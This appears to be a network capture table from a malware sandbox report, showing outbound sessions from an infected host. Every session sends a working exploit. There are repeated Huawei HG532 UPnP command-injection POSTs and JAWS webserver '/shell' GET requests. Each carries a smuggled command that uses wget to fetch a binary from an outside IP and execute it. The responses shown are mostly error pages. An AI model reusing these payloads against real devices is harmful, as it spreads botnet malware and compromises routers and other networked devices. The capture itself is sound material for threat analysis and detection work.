Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.15	60214	156.247.24.116	37215

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:24.709826946 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:35:28.919315100 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:35:35.063132048 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:35:47.094773054 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:11.670268059 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:37:00.820586920 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.15	38024	20.242.39.121	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:26.045958042 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:26.143548965 CET	378	IN	HTTP/1.1 502 Bad Gateway Server: Microsoft-Azure-Application-Gateway/v2 Date: Wed, 13 Mar 2024 08:35:26 GMT Content-Type: text/html Content-Length: 183 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4d 69 63 72 6f 73 6f 66 74 2d 41 7a 75 72 65 2d 41 70 70 6c 69 63 61 74 69 6f 6e 2d 47 61 74 65 77 61 79 2f 76 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>Microsoft-Azure-Application-Gateway/v2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.15	41544	194.75.225.189	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:26.114557028 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.15	47818	185.15.192.254	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:26.120913029 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:26.293796062 CET	200	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:26 GMT Server: Apache Content-Length: 23 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 65 72 72 6f 72 20 34 30 30 20 2d 20 62 61 64 20 72 65 71 75 65 73 74 Data Ascii: error 400 - bad request

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.15	48806	154.212.209.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:26.252019882 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:26.556813955 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:35:26 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.15	52516	184.27.103.186	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:26.283404112 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:26.619596958 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:35:26 GMT Date: Wed, 13 Mar 2024 08:35:26 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 65 32 65 64 66 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 32 36 26 23 34 36 3b 32 37 63 66 38 62 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.9e2edf17.1710318926.27cf8b1</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.15	33064	157.230.127.140	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:26.295478106 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:26.470180988 CET	903	IN	HTTP/1.1 400 Bad Request content-type: text/html cache-control: private, no-cache, max-age=0 pragma: no-cache content-length: 679 date: Wed, 13 Mar 2024 08:35:26 GMT server: LiteSpeed connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 